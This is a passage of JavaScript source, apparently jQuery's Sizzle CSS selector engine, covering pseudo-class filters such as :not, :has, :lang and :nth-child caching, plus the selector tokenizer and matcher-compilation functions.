false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// Reverse direction for :only-* (if we haven't yet done so)\n\t\t\t\t\t\t\t\tstart = dir = type === \"only\" && !start && \"nextSibling\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tstart = [ forward ? parent.firstChild : parent.lastChild ];\n\n\t\t\t\t\t\t// non-xml :nth-child(...) stores cache data on `parent`\n\t\t\t\t\t\tif ( forward && useCache ) {\n\n\t\t\t\t\t\t\t// Seek `elem` from a previously-cached index\n\t\t\t\t\t\t\touterCache = parent[ expando ] || ( parent[ expando ] = {} );\n\t\t\t\t\t\t\tcache = outerCache[ type ] || [];\n\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\tdiff = nodeIndex && cache[ 2 ];\n\t\t\t\t\t\t\tnode = nodeIndex && parent.childNodes[ nodeIndex ];\n\n\t\t\t\t\t\t\twhile ( ( node = ++nodeIndex && node && node[ dir ] ||\n\n\t\t\t\t\t\t\t\t// Fallback to seeking `elem` from the start\n\t\t\t\t\t\t\t\t( diff = nodeIndex = 0 ) || start.pop() ) ) {\n\n\t\t\t\t\t\t\t\t// When found, cache indexes on `parent` and break\n\t\t\t\t\t\t\t\tif ( node.nodeType === 1 && ++diff && node === elem ) {\n\t\t\t\t\t\t\t\t\touterCache[ type ] = [ dirruns, nodeIndex, diff ];\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Use previously-cached element index if available\n\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\touterCache = elem[ expando ] || ( elem[ expando ] = {} );\n\t\t\t\t\t\t\t\tcache = outerCache[ type ] || [];\n\t\t\t\t\t\t\t\tnodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n\t\t\t\t\t\t\t\tdiff = nodeIndex;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// xml :nth-child(...)\n\t\t\t\t\t\t\t// or :nth-last-child(...) or :nth(-last)?-of-type(...)\n\t\t\t\t\t\t\tif ( diff === false ) {\n\n\t\t\t\t\t\t\t\t// Use the same loop as above to seek `elem` from the start\n\t\t\t\t\t\t\t\twhile ( ( node = ++nodeIndex && node && node[ dir ] ||\n\t\t\t\t\t\t\t\t\t( diff = nodeIndex = 0 ) || start.pop() ) ) {\n\n\t\t\t\t\t\t\t\t\tif ( ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnodeName( node, name ) :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) &&\n\t\t\t\t\t\t\t\t\t\t++diff ) {\n\n\t\t\t\t\t\t\t\t\t\t// Cache the index of each encountered element\n\t\t\t\t\t\t\t\t\t\tif ( useCache ) {\n\t\t\t\t\t\t\t\t\t\t\touterCache = node[ expando ] ||\n\t\t\t\t\t\t\t\t\t\t\t\t( node[ expando ] = {} );\n\t\t\t\t\t\t\t\t\t\t\touterCache[ type ] = [ dirruns, diff ];\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif ( node === elem ) {\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Incorporate the offset, then check against cycle size\n\t\t\t\t\t\tdiff -= last;\n\t\t\t\t\t\treturn diff === first || ( diff % first === 0 && diff / first >= 0 );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t},\n\n\t\tPSEUDO: function( pseudo, argument ) {\n\n\t\t\t// pseudo-class names are case-insensitive\n\t\t\t// https://www.w3.org/TR/selectors/#pseudo-classes\n\t\t\t// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters\n\t\t\t// Remember that setFilters inherits from pseudos\n\t\t\tvar args,\n\t\t\t\tfn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||\n\t\t\t\t\tfind.error( \"unsupported pseudo: \" + pseudo );\n\n\t\t\t// The user may use createPseudo to indicate that\n\t\t\t// arguments are needed to create the filter function\n\t\t\t// just as jQuery does\n\t\t\tif ( fn[ expando ] ) {\n\t\t\t\treturn fn( argument );\n\t\t\t}\n\n\t\t\t// But maintain support for old signatures\n\t\t\tif ( fn.length > 1 ) {\n\t\t\t\targs = [ pseudo, pseudo, \"\", argument ];\n\t\t\t\treturn Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?\n\t\t\t\t\tmarkFunction( function( seed, matches ) {\n\t\t\t\t\t\tvar idx,\n\t\t\t\t\t\t\tmatched = fn( seed, argument ),\n\t\t\t\t\t\t\ti = matched.length;\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tidx = indexOf.call( seed, matched[ i ] );\n\t\t\t\t\t\t\tseed[ idx ] = !( matches[ idx ] = matched[ i ] );\n\t\t\t\t\t\t}\n\t\t\t\t\t} ) :\n\t\t\t\t\tfunction( elem ) {\n\t\t\t\t\t\treturn fn( elem, 0, args );\n\t\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn fn;\n\t\t}\n\t},\n\n\tpseudos: {\n\n\t\t// Potentially complex pseudos\n\t\tnot: markFunction( function( selector ) {\n\n\t\t\t// Trim the selector passed to compile\n\t\t\t// to avoid treating leading and trailing\n\t\t\t// spaces as combinators\n\t\t\tvar input = [],\n\t\t\t\tresults = [],\n\t\t\t\tmatcher = compile( selector.replace( rtrimCSS, \"$1\" ) );\n\n\t\t\treturn matcher[ expando ] ?\n\t\t\t\tmarkFunction( function( seed, matches, _context, xml ) {\n\t\t\t\t\tvar elem,\n\t\t\t\t\t\tunmatched = matcher( seed, null, xml, [] ),\n\t\t\t\t\t\ti = seed.length;\n\n\t\t\t\t\t// Match elements unmatched by `matcher`\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( ( elem = unmatched[ i ] ) ) {\n\t\t\t\t\t\t\tseed[ i ] = !( matches[ i ] = elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} ) :\n\t\t\t\tfunction( elem, _context, xml ) {\n\t\t\t\t\tinput[ 0 ] = elem;\n\t\t\t\t\tmatcher( input, null, xml, results );\n\n\t\t\t\t\t// Don't keep the element\n\t\t\t\t\t// (see https://github.com/jquery/sizzle/issues/299)\n\t\t\t\t\tinput[ 0 ] = null;\n\t\t\t\t\treturn !results.pop();\n\t\t\t\t};\n\t\t} ),\n\n\t\thas: markFunction( function( selector ) {\n\t\t\treturn function( elem ) {\n\t\t\t\treturn find( selector, elem ).length > 0;\n\t\t\t};\n\t\t} ),\n\n\t\tcontains: markFunction( function( text ) {\n\t\t\ttext = text.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn ( elem.textContent || jQuery.text( elem ) ).indexOf( text ) > -1;\n\t\t\t};\n\t\t} ),\n\n\t\t// \"Whether an element is represented by a :lang() selector\n\t\t// is based solely on the element's language value\n\t\t// being equal to the identifier C,\n\t\t// or beginning with the identifier C immediately followed by \"-\".\n\t\t// The matching of C against the element's language value is performed case-insensitively.\n\t\t// The identifier C does not have to be a valid language name.\"\n\t\t// https://www.w3.org/TR/selectors/#lang-pseudo\n\t\tlang: markFunction( function( lang ) {\n\n\t\t\t// lang value must be a valid identifier\n\t\t\tif ( !ridentifier.test( lang || \"\" ) ) {\n\t\t\t\tfind.error( \"unsupported lang: \" + lang );\n\t\t\t}\n\t\t\tlang = lang.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn function( elem ) {\n\t\t\t\tvar elemLang;\n\t\t\t\tdo {\n\t\t\t\t\tif ( ( elemLang = documentIsHTML ?\n\t\t\t\t\t\telem.lang :\n\t\t\t\t\t\telem.getAttribute( \"xml:lang\" ) || elem.getAttribute( \"lang\" ) ) ) {\n\n\t\t\t\t\t\telemLang = elemLang.toLowerCase();\n\t\t\t\t\t\treturn elemLang === lang || elemLang.indexOf( lang + \"-\" ) === 0;\n\t\t\t\t\t}\n\t\t\t\t} while ( ( elem = elem.parentNode ) && elem.nodeType === 1 );\n\t\t\t\treturn false;\n\t\t\t};\n\t\t} ),\n\n\t\t// Miscellaneous\n\t\ttarget: function( elem ) {\n\t\t\tvar hash = window.location && window.location.hash;\n\t\t\treturn hash && hash.slice( 1 ) === elem.id;\n\t\t},\n\n\t\troot: function( elem ) {\n\t\t\treturn elem === documentElement;\n\t\t},\n\n\t\tfocus: function( elem ) {\n\t\t\treturn elem === safeActiveElement() &&\n\t\t\t\tdocument.hasFocus() &&\n\t\t\t\t!!( elem.type || elem.href || ~elem.tabIndex );\n\t\t},\n\n\t\t// Boolean properties\n\t\tenabled: createDisabledPseudo( false ),\n\t\tdisabled: createDisabledPseudo( true ),\n\n\t\tchecked: function( elem ) {\n\n\t\t\t// In CSS3, :checked should return both checked and selected elements\n\t\t\t// https://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n\t\t\treturn ( nodeName( elem, \"input\" ) && !!elem.checked ) ||\n\t\t\t\t( nodeName( elem, \"option\" ) && !!elem.selected );\n\t\t},\n\n\t\tselected: function( elem ) {\n\n\t\t\t// Support: IE <=11+\n\t\t\t// Accessing the selectedIndex property\n\t\t\t// forces the browser to treat the default option as\n\t\t\t// selected when in an optgroup.\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\t// eslint-disable-next-line no-unused-expressions\n\t\t\t\telem.parentNode.selectedIndex;\n\t\t\t}\n\n\t\t\treturn elem.selected === true;\n\t\t},\n\n\t\t// Contents\n\t\tempty: function( elem ) {\n\n\t\t\t// https://www.w3.org/TR/selectors/#empty-pseudo\n\t\t\t// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),\n\t\t\t// but not by others (comment: 8; processing instruction: 7; etc.)\n\t\t\t// nodeType < 6 works because attributes (2) do not appear as children\n\t\t\tfor ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n\t\t\t\tif ( elem.nodeType < 6 ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t},\n\n\t\tparent: function( elem ) {\n\t\t\treturn !Expr.pseudos.empty( elem );\n\t\t},\n\n\t\t// Element/input types\n\t\theader: function( elem ) {\n\t\t\treturn rheader.test( elem.nodeName );\n\t\t},\n\n\t\tinput: function( elem ) {\n\t\t\treturn rinputs.test( elem.nodeName );\n\t\t},\n\n\t\tbutton: function( elem ) {\n\t\t\treturn nodeName( elem, \"input\" ) && elem.type === \"button\" ||\n\t\t\t\tnodeName( elem, \"button\" );\n\t\t},\n\n\t\ttext: function( elem ) {\n\t\t\tvar attr;\n\t\t\treturn nodeName( elem, \"input\" ) && elem.type === \"text\" &&\n\n\t\t\t\t// Support: IE <10 only\n\t\t\t\t// New HTML5 attribute values (e.g., \"search\") appear\n\t\t\t\t// with elem.type === \"text\"\n\t\t\t\t( ( attr = elem.getAttribute( \"type\" ) ) == null ||\n\t\t\t\t\tattr.toLowerCase() === \"text\" );\n\t\t},\n\n\t\t// Position-in-collection\n\t\tfirst: createPositionalPseudo( function() {\n\t\t\treturn [ 0 ];\n\t\t} ),\n\n\t\tlast: createPositionalPseudo( function( _matchIndexes, length ) {\n\t\t\treturn [ length - 1 ];\n\t\t} ),\n\n\t\teq: createPositionalPseudo( function( _matchIndexes, length, argument ) {\n\t\t\treturn [ argument < 0 ? argument + length : argument ];\n\t\t} ),\n\n\t\teven: createPositionalPseudo( function( matchIndexes, length ) {\n\t\t\tvar i = 0;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\todd: createPositionalPseudo( function( matchIndexes, length ) {\n\t\t\tvar i = 1;\n\t\t\tfor ( ; i < length; i += 2 ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\tlt: createPositionalPseudo( function( matchIndexes, length, argument ) {\n\t\t\tvar i;\n\n\t\t\tif ( argument < 0 ) {\n\t\t\t\ti = argument + length;\n\t\t\t} else if ( argument > length ) {\n\t\t\t\ti = length;\n\t\t\t} else {\n\t\t\t\ti = argument;\n\t\t\t}\n\n\t\t\tfor ( ; --i >= 0; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} ),\n\n\t\tgt: createPositionalPseudo( function( matchIndexes, length, argument ) {\n\t\t\tvar i = argument < 0 ? argument + length : argument;\n\t\t\tfor ( ; ++i < length; ) {\n\t\t\t\tmatchIndexes.push( i );\n\t\t\t}\n\t\t\treturn matchIndexes;\n\t\t} )\n\t}\n};\n\nExpr.pseudos.nth = Expr.pseudos.eq;\n\n// Add button/input type pseudos\nfor ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {\n\tExpr.pseudos[ i ] = createInputPseudo( i );\n}\nfor ( i in { submit: true, reset: true } ) {\n\tExpr.pseudos[ i ] = createButtonPseudo( i );\n}\n\n// Easy API for creating new setFilters\nfunction setFilters() {}\nsetFilters.prototype = Expr.filters = Expr.pseudos;\nExpr.setFilters = new setFilters();\n\nfunction tokenize( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = Expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || ( match = rcomma.exec( soFar ) ) ) {\n\t\t\tif ( match ) {\n\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[ 0 ].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( ( tokens = [] ) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( ( match = rleadingCombinator.exec( soFar ) ) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push( {\n\t\t\t\tvalue: matched,\n\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[ 0 ].replace( rtrimCSS, \" \" )\n\t\t\t} );\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in Expr.filter ) {\n\t\t\tif ( ( match = matchExpr[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||\n\t\t\t\t( match = preFilters[ type ]( match ) ) ) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push( {\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t} );\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\tif ( parseOnly ) {\n\t\treturn soFar.length;\n\t}\n\n\treturn soFar ?\n\t\tfind.error( selector ) :\n\n\t\t// Cache the tokens\n\t\ttokenCache( selector, groups ).slice( 0 );\n}\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[ i ].value;\n\t}\n\treturn selector;\n}\n\nfunction addCombinator( matcher, combinator, base ) {\n\tvar dir = combinator.dir,\n\t\tskip = combinator.next,\n\t\tkey = skip || dir,\n\t\tcheckNonElements = base && key === \"parentNode\",\n\t\tdoneName = done++;\n\n\treturn combinator.first ?\n\n\t\t// Check against closest ancestor/preceding element\n\t\tfunction( elem, context, xml ) {\n\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\treturn matcher( elem, context, xml );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t} :\n\n\t\t// Check against all ancestor/preceding elements\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar oldCache, outerCache,\n\t\t\t\tnewCache = [ dirruns, doneName ];\n\n\t\t\t// We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching\n\t\t\tif ( xml ) {\n\t\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\tif ( matcher( elem, context, xml ) ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\twhile ( ( elem = elem[ dir ] ) ) {\n\t\t\t\t\tif ( elem.nodeType === 1 || checkNonElements ) {\n\t\t\t\t\t\touterCache = elem[ expando ] || ( elem[ expando ] = {} );\n\n\t\t\t\t\t\tif ( skip && nodeName( elem, skip ) ) {\n\t\t\t\t\t\t\telem = elem[ dir ] || elem;\n\t\t\t\t\t\t} else if ( ( oldCache = outerCache[ key ] ) &&\n\t\t\t\t\t\t\toldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {\n\n\t\t\t\t\t\t\t// Assign to newCache so results back-propagate to previous elements\n\t\t\t\t\t\t\treturn ( newCache[ 2 ] = oldCache[ 2 ] );\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Reuse newcache so results back-propagate to previous elements\n\t\t\t\t\t\t\touterCache[ key ] = newCache;\n\n\t\t\t\t\t\t\t// A match means we're done; a fail means we have to keep checking\n\t\t\t\t\t\t\tif ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) {\n\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n}\n\nfunction elementMatcher( matchers ) {\n\treturn matchers.length > 1 ?\n\t\tfunction( elem, context, xml ) {\n\t\t\tvar i = matchers.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( !matchers[ i ]( elem, context, xml ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} :\n\t\tmatchers[ 0 ];\n}\n\nfunction multipleContexts( selector, contexts, results ) {\n\tvar i = 0,\n\t\tlen = contexts.length;\n\tfor ( ; i < len; i++ ) {\n\t\tfind( selector, contexts[ i ], results );\n\t}\n\treturn results;\n}\n\nfunction condense( unmatched, map, filter, context, xml ) {\n\tvar elem,\n\t\tnewUnmatched = [],\n\t\ti = 0,\n\t\tlen = unmatched.length,\n\t\tmapped = map != null;\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( ( elem = unmatched[ i ] ) ) {\n\t\t\tif ( !filter || filter( elem, context, xml ) ) {\n\t\t\t\tnewUnmatched.push( elem );\n\t\t\t\tif ( mapped ) {\n\t\t\t\t\tmap.push( i );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn newUnmatched;\n}\n\nfunction setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {\n\tif ( postFilter && !postFilter[ expando ] ) {\n\t\tpostFilter = setMatcher( postFilter );\n\t}\n\tif ( postFinder && !postFinder[ expando ] ) {\n\t\tpostFinder = setMatcher( postFinder, postSelector );\n\t}\n\treturn markFunction( function( seed, results, context, xml ) {\n\t\tvar temp, i, elem, matcherOut,\n\t\t\tpreMap = [],\n\t\t\tpostMap = [],\n\t\t\tpreexisting = results.length,\n\n\t\t\t// Get initial elements from seed or context\n\t\t\telems = seed ||\n\t\t\t\tmultipleContexts( selector || \"*\",\n\t\t\t\t\tcontext.nodeType ? [ context ] : context, [] ),\n\n\t\t\t// Prefilter to get matcher input, preserving a map for seed-results synchronization\n\t\t\tmatcherIn = preFilter && ( seed || !selector ) ?\n\t\t\t\tcondense( elems, preMap, preFilter, context, xml ) :\n\t\t\t\telems;\n\n\t\tif ( matcher ) {\n\n\t\t\t// If we have a postFinder, or filtered seed, or non-seed postFilter\n\t\t\t// or preexisting results,\n\t\t\tmatcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ?\n\n\t\t\t\t// ...intermediate processing is necessary\n\t\t\t\t[] :\n\n\t\t\t\t// ...otherwise use results directly\n\t\t\t\tresults;\n\n\t\t\t// Find primary matches\n\t\t\tmatcher( matcherIn, matcherOut, context, xml );\n\t\t} else {\n\t\t\tmatcherOut = matcherIn;\n\t\t}\n\n\t\t// Apply postFilter\n\t\tif ( postFilter ) {\n\t\t\ttemp = condense( matcherOut, postMap );\n\t\t\tpostFilter( temp, [], context, xml );\n\n\t\t\t// Un-match failing elements by moving them back to matcherIn\n\t\t\ti = temp.length;\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( ( elem = temp[ i ] ) ) {\n\t\t\t\t\tmatcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( seed ) {\n\t\t\tif ( postFinder || preFilter ) {\n\t\t\t\tif ( postFinder ) {\n\n\t\t\t\t\t// Get the final matcherOut by condensing this intermediate into postFinder contexts\n\t\t\t\t\ttemp = [];\n\t\t\t\t\ti = matcherOut.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tif ( ( elem = matcherOut[ i ] ) ) {\n\n\t\t\t\t\t\t\t// Restore matcherIn since elem is not yet a final match\n\t\t\t\t\t\t\ttemp.push( ( matcherIn[ i ] = elem ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tpostFinder( null, ( matcherOut = [] ), temp, xml );\n\t\t\t\t}\n\n\t\t\t\t// Move matched elements from seed to results to keep them synchronized\n\t\t\t\ti = matcherOut.length;\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\tif ( ( elem = matcherOut[ i ] ) &&\n\t\t\t\t\t\t( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) {\n\n\t\t\t\t\t\tseed[ temp ] = !( results[ temp ] = elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Add elements to results, through postFinder if defined\n\t\t} else {\n\t\t\tmatcherOut = condense(\n\t\t\t\tmatcherOut === results ?\n\t\t\t\t\tmatcherOut.splice( preexisting, matcherOut.length ) :\n\t\t\t\t\tmatcherOut\n\t\t\t);\n\t\t\tif ( postFinder ) {\n\t\t\t\tpostFinder( null, results, matcherOut, xml );\n\t\t\t} else {\n\t\t\t\tpush.apply( results, matcherOut );\n\t\t\t}\n\t\t}\n\t} );\n}\n\nfunction matcherFromTokens( tokens ) {\n\tvar checkContext, matcher, j,\n\t\tlen = tokens.length,\n\t\tleadingRelative = Expr.relative[ tokens[ 0 ].type ],\n\t\timplicitRelative = leadingRelative || Expr.relative[ \" \" ],\n\t\ti = leadingRelative ? 1 : 0,\n\n\t\t// The foundational matcher ensures that elements are reachable from top-level context(s)\n\t\tmatchContext = addCombinator( function( elem ) {\n\t\t\treturn elem === checkContext;\n\t\t}, implicitRelative, true ),\n\t\tmatchAnyContext = addCombinator( function( elem ) {\n\t\t\treturn indexOf.call( checkContext, elem ) > -1;\n\t\t}, implicitRelative, true ),\n\t\tmatchers = [ function( elem, context, xml ) {\n\n\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t\t// two documents; shallow comparisons work.\n\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\tvar ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || (\n\t\t\t\t( checkContext = context ).nodeType ?\n\t\t\t\t\tmatchContext( elem, context, xml ) :\n\t\t\t\t\tmatchAnyContext( elem, context, xml ) );\n\n\t\t\t// Avoid hanging onto element\n\t\t\t// (see https://github.com/jquery/sizzle/issues/299)\n\t\t\tcheckContext = null;\n\t\t\treturn ret;\n\t\t} ];\n\n\tfor ( ; i < len; i++ ) {\n\t\tif ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) {\n\t\t\tmatchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];\n\t\t} else {\n\t\t\tmatcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches );\n\n\t\t\t// Return special upon seeing a positional matcher\n\t\t\tif ( matcher[ expando ] ) {\n\n\t\t\t\t// Find the next relative operator (if any) for proper handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( Expr.relative[ tokens[ j ].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 )\n\t\t\t\t\t\t\t.concat( { value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" } )\n\t\t\t\t\t).replace( rtrimCSS, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && Expr.find.TAG( \"*\", outermost ),\n\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ),\n\t\t\t\tlen = elems.length;\n\n\t\t\tif ( outermost ) {\n\n\t\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t\t\t// two documents; shallow comparisons work.\n\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\toutermostContext = context == document || context || outermost;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\t// Support: iOS <=7 - 9 only\n\t\t\t// Tolerate NodeList properties (IE: \"length\"; Safari: <number>) matching\n\t\t\t// elements by id. (see trac-14142)\n\t\t\tfor ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\n\t\t\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t\t\t\t// two documents; shallow comparisons work.\n\t\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\t\tif ( !context && elem.ownerDocument != document ) {\n\t\t\t\t\t\tsetDocument( elem );\n\t\t\t\t\t\txml = !documentIsHTML;\n\t\t\t\t\t}\n\t\t\t\t\twhile ( ( matcher = elementMatchers[ j++ ] ) ) {\n\t\t\t\t\t\tif ( matcher( elem, context || document, xml ) ) {\n\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( ( elem = !matcher && elem ) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// `i` is now the count of elements visited above, and adding it to `matchedCount`\n\t\t\t// makes the latter nonnegative.\n\t\t\tmatchedCount += i;\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\t// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n\t\t\t// equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n\t\t\t// no element matchers and no seed.\n\t\t\t// Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n\t\t\t// case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n\t\t\t// numerically zero.\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( ( matcher = setMatchers[ j++ ] ) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\n\t\t\t\t\t// Reintegrate element matches to 